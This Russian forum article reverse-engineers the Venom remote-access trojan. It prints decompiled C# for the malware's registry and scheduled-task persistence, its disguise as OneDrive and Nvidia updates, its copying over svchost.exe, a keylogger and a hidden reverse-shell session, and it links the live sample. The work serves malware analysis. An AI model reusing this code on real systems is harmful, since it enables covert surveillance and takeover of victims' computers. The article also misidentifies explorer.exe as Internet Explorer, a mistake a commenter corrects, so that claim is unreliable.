• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Черный паразит. Изучаем работу ратника Venom

Temporary logo.jpg

Введение
Не так давно большинство новостных каналов заполонили новости о работе вредоносного программного обеспечения. Существует множество вирусов для контроля системы и все они очень хорошо прячутся и самообороняются от нежелательного изучения исходного кода. Разработчики придумывают все более изощренные способы защиты и иногда ставят в тупик даже опытных реверс инженеров. Но поговорим немного о другом. Обычно за созданием вредоносов стоят хакерские группировки, которые придумывают свою версию малвари лишь бы ее не мог найти антивирус. А теперь я открою тебе глаза и скажу, что существуют целые компании по созданию ратников для администрирования компьютеров. Да, это не очередная опечатка, а реальный факт. Давай я на примере частной компании разберу их продукт с очевидным и громким названием Venom.


План работы
Он, на удивление, очень короткий и простой. Я постараюсь объяснить тебе как работает такого типа малварь, что она делает, куда передает информацию и как закрепляется в системе. Вся демонстрация будет проводится на старой версии продукта, поскольку найти крякнутый и современный вариант этого зверя мне не удалось. Начнем наше путешествия как всегда со статического анализа PE-файла. Плавно перейдем к динамической работе и завершим все итогами по нашей работе. Что может быть проще?


Статический анализ
Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покапается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.


DiE_Scan.jpg


Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покопается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.

Entropy.jpg


Прежде всего в глаза бросается полоса статуса, которая остановилась ровно на 80% и пояснением несжатый. И эти слова подтверждаются секциями. Ни одна из них не имеет обвеса и какой либо защиты. Парадокс! Но не будем ослаблять хватку и продвинемся дальше в изучении нашего вируса.

После таких манипуляций попробуем посмотреть таблицу импорта и экспорта. Заранее скажу, что на экспорт каких либо функций я к сожалению не нашел. Ну а для всего этого дела воспользуемся FileAlyzer. Ниже его вердикт по этому поводу.

Venom_Alyzer.jpg


Удивительно. В таблице всего лишь одна библиотека и соответственно одна функция. Давай приблизимся к нашей цели и попробуем приоткрыть занавесу с исходным кодом посмотрев какие действия выполняет наш вирус в системе. Чтобы преждевременно не прибегать к динамическому анализу я воспользовался программой pestudio и вот что из этого получилось.

Requests.jpg


Из таблицы выше ты можешь отчетливо видеть как наша малварь пытается связаться с неизвестным нам хостом и скачать отдельные файлы с него. Попробуем прогнать этот IP адрес через nmap и посмотрим, находится ли он вообще в сети. Спустя несколько минут ты получишь примерно такую картину:

Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 19:33 MSK
Nmap scan report for ip16.ip-91-134-207.eu (91.134.207.16)
Host is up.
All 1000 scanned ports on ip16.ip-91-134-207.eu (91.134.207.16) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.18 seconds

Ну и для убеждения проверим по whois, что это вообще за адрес. А расположен он во Франции и собрать о нем много информации к сожалению не получится, поэтому будем двигаться дальше, ну а ниже я оставил лог с сайта с подробной информацией об IP.

Код:
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '91.134.207.16 - 91.134.207.31'

% Abuse contact for '91.134.207.16 - 91.134.207.31' is 'support@hosterdaddy.com'

inetnum:        91.134.207.16 - 91.134.207.31
netname:        OVH_111463049
descr:          OVH Static IP
country:        FR
org:            ORG-HD37-RIPE
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         ASSIGNED PA
mnt-by:         OVH-MNT
created:        2016-07-07T14:58:44Z
last-modified:  2016-07-07T14:58:44Z
source:         RIPE

% Information related to '91.134.0.0/16AS16276'

route:          91.134.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2016-04-15T11:43:03Z
last-modified:  2016-04-15T11:43:03Z
source:         RIPE
descr:          OVH

% This query was served by the RIPE Database Query Service version 1.103 (HEREFORD)

Переключаемся на наш любимый pestudio и во вкладке строк поищем что-нибудь интересное. К примеру наш паразит для выхода в онлайн и установки прослушки хоста использует известную программу ngrok. Крайне необычная находка, особенно с учетом всех обстоятельств. Можешь посмотреть на это сам.

Strings.jpg


Также Веном использует PowerShell в своих целях. Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком. Итак, такие строки выглядят крайне подозрительно для такого вируса. Кому придет в голову работать с древним браузере, тем более убивать его через консоль. Адрес из последних 4-х строк мы с тобой разобрали, поэтому останавливаться на них я не буду.

Итак, мы знаем базовую информацию и то, что файл чем-то покрыт (это ты заметишь из энтропии так как она стоит на 80%) также на эту мысль наводит тот факт, что таблица импорта состоит всего лишь из одной библиотеки и функции, которая в ней хранится. Так как работаем мы с NET приложением, то я решил отдать на растерзание вирус программе de4dot. До этого я упоминал ее в статьях как хороший инструмент для борьбы с NET Reactor. Но как ты понимаешь, вскрытие реактора это только одна из функций этой утилиты. Запускаем нашу консоль и вводим примерно такую команду:

Код:
C:\путь_до_утилиты\de4dot.exe C:\путь_до_вируса\$77-Venom.exe

Также ты можешь импортировать репозиторий отсюда прямиком в Visual Studio, собрать его и пользоваться консольной версией программы без каких либо проблем.

Таким образом утилита обрабатывает файл и создает такой же с пометкой cleaned, что означает очищен. Кидаем файл в dotPeek и любуемся результатом. Ниже я поместил скриншот до расшифровки и после нее.

Cryptcode.jpg


Decryptcode.jpg


Как ты понял, вирус имеет какой-то китайский обфускатор. Но нас он не остановил, поэтому теперь ты можешь в корень изучить весь код. Я лишь расскажу об основных ветках и за что они отвечают, чтобы тебе было легче ориентироваться.

Ознакомиться с фундаментальными функциями вируса, такими как запись видео, аудио и сбор информации ты можешь в ветке xClient.Core.Packets.ClientPackets. Они обеспечивают работу со стороны зараженной машины, ну а функция по соседству уже отвечает за работу со стороны сервера, она же имеет название xClient.Core.Packets.ServerPackets. Чтобы не спалить соединение в системе Веном использует встроенное прокси, его можно увидеть в названии xClient.Core.ReverseProxy.Packets. Далее идет дополнительный функционал. Полезные нагрузки, кейлогеры и стиллеры. Все это ты оценишь в функции Utilities. Все подробно я разберу позднее.

Итак, со статическим анализом мы разобрались. У нас есть исходный код и на этом можно было завершить наши исследования, но давай все же посмотрим какие данные передает вирус и как он адаптируется в системе.

Динамический анализ
Первым делом я решил убедиться в том, что вирус действительно пытается связаться с определенным хостом. Для этого используем наш любимый Wireshark. К сожалению, что-либо связанное с нашим айпишником мне не удалось найти, но при запуске наш вирус отправляет информацию на некий адрес. Попробуем отфильтровать его и посмотрим, что у нас получится. Для этого я использовал следующий фильтр:

Код:
ip.dst == 208.95.112.1

IPdst.jpg


Первым делом компьютер устанавливает соединения путем отправки начального пакета. Далее идет ответ от сервера и передача информации по протоколу HTTP. Давай посмотрим, что он содержит. Кликаем правой кнопкой мыши по полю с интересующим нас протоколом. В выпадающем списке функций выбираем Следовать -> HTTP. И в итоге мы видим, что вирус отправляет наше местоположение и данные о нашем браузере. Интересно, как так получилось? На самом деле все очень просто. Если вбить этот IP в адресную строку, то нас перекинет на сайт . С его помощью Веном вытаскивает всю информацию и отправляет на сервер.

Также вирус добавляет к этому наименования твоего компьютера для дальнейшей передачи на сервер. Больше ничего полезного в перехваченных пакетах нету. Попробуем испытать удачу еще раз и обратимся к TCPView. Запускаем наш вирус и переходим на него в окне программы. Кликаем правой кнопкой мыши по процессу и выполняем функцию whois, тем самым тебе предоставят данные о том, куда и зачем обращается вирус. Пример такой работы ты можешь увидеть ниже.

ip_api.jpg


И вот нашлась наша вторая зацепка. Веном наблюдает за твоим устройством при помощи программы для записи экрана Bandicam. Довольно известный продукт. Теперь давай посмотрим, что импортирует наш вирус в период активности. Если на статическом анализе было все крайне просто, одна библиотека и одна функция, то в процессе работы картина меняется и количество импортируемых функций значительно шире. Давай убедимся в этом при помощи утилиты Explorer Suite. В себе она имеет Task Explorer для отслеживания процессов в реальном времени. Запустим его и найдем нашего паразита. Далее ты увидишь примерно такую картину:

taskexplorer.jpg


Как ты видишь, в процессе работы вирь подгружает такие библиотеки как ntdll и wow. Самые стандартные системные файлы, которые можно найти на локальном диске. Больше пользы чем исходный код нам уже программа не принесет. Давай как раз вернемся к нему и посмотрим, какую полезную информацию мы можем вытащить.


Разбираем исходный код
Итак, еще на ранних этапах я показал тебе как добраться до исходного кода нашего вируса. Спешу тебя оповестить о том, что в себе программа содержит еще несколько полезных файлов которые мы можем вытащить при помощи ExtremeDumeper. Чтобы провернуть все это дело тебе следует запустить сам дампер и вместе с ним малварь. Дальше используя интуитивно понятный интерфейс дампишь все это дело в удобное для тебя место. Выглядит это все примерно так:

Dump.jpg


Как ты уже заметил у нас появилось еще два PE-файла с довольно понятными названиями. Закинем их к нашему Веному в dotPeek. Сам файл Install, подгружая библиотеки, создает файл с определенным именем. Его генерация в коде выглядит следующим образом:

C#:
public static void Install(bool is64bit)
    {
      string str1 = "x" + (is64bit ? 64 : 86).ToString() + ".dll";
      string str2 = Path.Combine(Path.GetTempPath(), "$77-" + Guid.NewGuid().ToString("N") + "-" + str1);
      File.Copy(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "r77-" + str1), str2);
      new FileInfo(str2).Attributes |= FileAttributes.Temporary;
      using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, is64bit ? RegistryView.Registry64 : RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", true))
      {
        registryKey.SetValue("LoadAppInit_DLLs", (object) 1);
        registryKey.SetValue("RequireSignedAppInit_DLLs", (object) 0);
        registryKey.SetValue("AppInit_DLLs", (object) str2);
      }
    }

И как ты мог заметить все это дело копируется у нас в реестре по соответствующему пути. Конечно, если почитать весь код внимательно, то можно понять, что таким образом вирус закрепляется в системе для дальнейшей эволюции в rootkit. Ну а такого паразита из системы будет гораздо сложнее вытащить. В ветке ресурсов ты можешь посмотреть версию библиотек.

Перейдем к еще одному любопытному файлу с названием Chrome. В главной функции содержится ветка, которая подгружает стандартные библиотеки Windows и закрепляется в системе путем создания копии по пути: C:\\windows\\system32. Присмотревшись к названием переменных, ты можешь увидеть такие название как payload, которые говорят сами за себя. Малварь пытается всеми силами выжить в системе. Также есть всеми любимый Thread.Sleep, который позволяет не палиться если все пойдет через одно место. Ну а скомпилировано все это дело при помощи Visual Studio версии 16.5.0 от 2019 года. Хотя самое интересное начинается в функции CopyMySelf на ветке Program. Здесь, созданные полезные нагрузки склеиваются с известными программами, чтобы скрыть следы присутствия в системе. Все выполняется от имени администратора и вот тому подтверждения в коде:

C#:
string str1 = "Onedrive-Standalone";
string sourceFileName1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "$77-Venom.exe");
string str2 = "Onedrive";
string path1 = "%AppData%\\Roaming";
string str3 = Path.Combine(path1, "Install.exe");
string str4 = Path.Combine(path1, "$77Install.exe");

Здесь у нас происходит копирования в системные папки, а дальше малварь проверяет наличия прав суперпользователя. И если они имеются, то происходят такие действия:

C#:
if (WindowsAccountHelper.GetAccountType() == "Admin")
      {
        try
        {
          string environmentVariable = Environment.GetEnvironmentVariable("SYSTEMROOT/tasks");
          string name = WindowsIdentity.GetCurrent().Name;
          Process.Start(new ProcessStartInfo()
          {
            FileName = "cmd",
            Arguments = "/k start /b powershell Cacls " + environmentVariable + " /e /t /g " + name + ":F  & exit",
            CreateNoWindow = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            UseShellExecute = true,
            ErrorDialog = false
          });
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str2 + " /sc ONLOGON /tr \"" + sourceFileName1 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str1 + " /sc ONLOGON /tr \"" + str4 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
          string str5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), "$77Nvidia_Update.exe");
          string str6 = "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}";
          Process.Start(new ProcessStartInfo("schtasks")
          {
            Arguments = "/create /tn " + str6 + " /sc ONLOGON /tr \"" + str5 + "\" /rl HIGHEST /f",
            UseShellExecute = false,
            CreateNoWindow = true
          }).WaitForExit(1000);
        }

Как ты видишь первым делом запускается оболочка PowerShell и производится ряд команд. Далее как всегда запускается еще один вредоносный процесс и производятся операции непосредственно с ним. После происходит комбинация и создание процесса Nvide_Update. Не повезло конечно поклонникам Radeon в этом случаи. Даже svchost попадает под раздачу.

C#:
string str10 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "svchost.exe");
        File.Copy(sourceFileName1, str10);
        Process.Start(new ProcessStartInfo()
        {
          WindowStyle = ProcessWindowStyle.Hidden,
          CreateNoWindow = true,
          UseShellExecute = false,
          FileName = str10
        });

Также рекомендую оценить кейлогер. О его расположении я говорил выше и записывает он информацию в формате нажатая_клавиша-час:минуты. Ниже я привел часто кода, где это все реализуется.

C#:
private void OnKeyDown(object sender, KeyEventArgs e)
    {
      string input = GClass57.smethod_4();
      if (!string.IsNullOrEmpty(input) && input != this._lastWindowTitle)
      {
        this._lastWindowTitle = input;
        this._logFileBuffer.Append("<p class=\"h\"><br><br>[<b>" + GClass57.smethod_2(input) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>");
      }
      if (this._pressedKeys.IsModifierKeysSet() && !this._pressedKeys.Contains(e.KeyCode))
      {
        this._pressedKeys.Add(e.KeyCode);
      }
      else
      {
        if (e.KeyCode.IsExcludedKey() || this._pressedKeys.Contains(e.KeyCode))
          return;
        this._pressedKeys.Add(e.KeyCode);
      }
    }

В дополнении происходит конвертация служебных клавиш как пробел, esc и enter. Происходит это в отдельном контейнере switch:

C#:
switch (strArray[index])
          {
            case "Return":
              stringBuilder1.Append("<p class=\"h\">[Enter]</p><br>");
              continue;
            case "Escape":
              stringBuilder1.Append("<p class=\"h\">[Esc]</p>");
              continue;
            default:
              stringBuilder1.Append("<p class=\"h\">[" + strArray[index] + "]</p>");
              continue;
          }

Файл с данными отправляется на сервер в формате месяца дня и года.

C#:
 string str = Path.Combine(Keylogger.LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));

Обратная Shell оболочка работает слегка иначе. При ее включении первым делом указывается нужная кодировка для правильного отображения символов. Все последующие команды выполняются с флагом /k, что означает их бесконечность. Проще говоря они исполняются без последующего завершения. Всю эту информацию ты найдешь в цикле создания сессии. Я приложил его ниже.

C#:
private void CreateSession()
    {
      lock (this._readLock)
        this._read = true;
      this._encoding = Encoding.GetEncoding(CultureInfo.InstalledUICulture.TextInfo.OEMCodePage);
      this._prc = new Process()
      {
        StartInfo = new ProcessStartInfo("cmd")
        {
          UseShellExecute = false,
          RedirectStandardInput = true,
          RedirectStandardOutput = true,
          RedirectStandardError = true,
          StandardOutputEncoding = this._encoding,
          StandardErrorEncoding = this._encoding,
          CreateNoWindow = true,
          WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
          Arguments = "/K"
        }
      };
      this._prc.Start();
      this.RedirectOutputs();
      this.ExecuteCommand("chcp " + this._encoding.CodePage.ToString());
      new DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute((GClass18) Class5.gclass19_0);
    }

Все файлы для работы я оставил для тебя в конце статьи, поэтому если интересно повторить действия из статьи, то ты спокойно можешь это сделать. Теперь давай плавно перейдем к нашему завершению, ведь мы прошли весь путь в изучении этой малвари. Остается выяснить важные моменты, чем мы сейчас и займемся.

Подводим итоги
Итак, в этой статье я постарался максимально понятно и доходчиво объяснить как разреверсить такую малварь. Конечно, до дизассемблирования дело не дошло, но в дальнейших статьях я просвещу тебя в это дело и покажу как бороться с упаковщиками и обфускаторами на уровне ассемблера. Ниже предоставлен тот самый архив с файлами по которому я работал. Для
защиты от нежелательного удаления антивируса на нем установлен пароль: codeby.
 

Вложения

  • Malware.zip
    1,1 МБ · Просмотры: 153
Последнее редактирование модератором:

N1GGA

Codeby Team
Platinum
16.07.2018
326
332
BIT
193
Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком.​
explorer.exe - это обычный проводник, который отвечает за отображение окружающей среды пользователя Windows. У браузера Internet Explorer, хоть и похожий, но чуть другой процесс - iexplore.exe
А так, хорошая исследовательская работа 👍
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!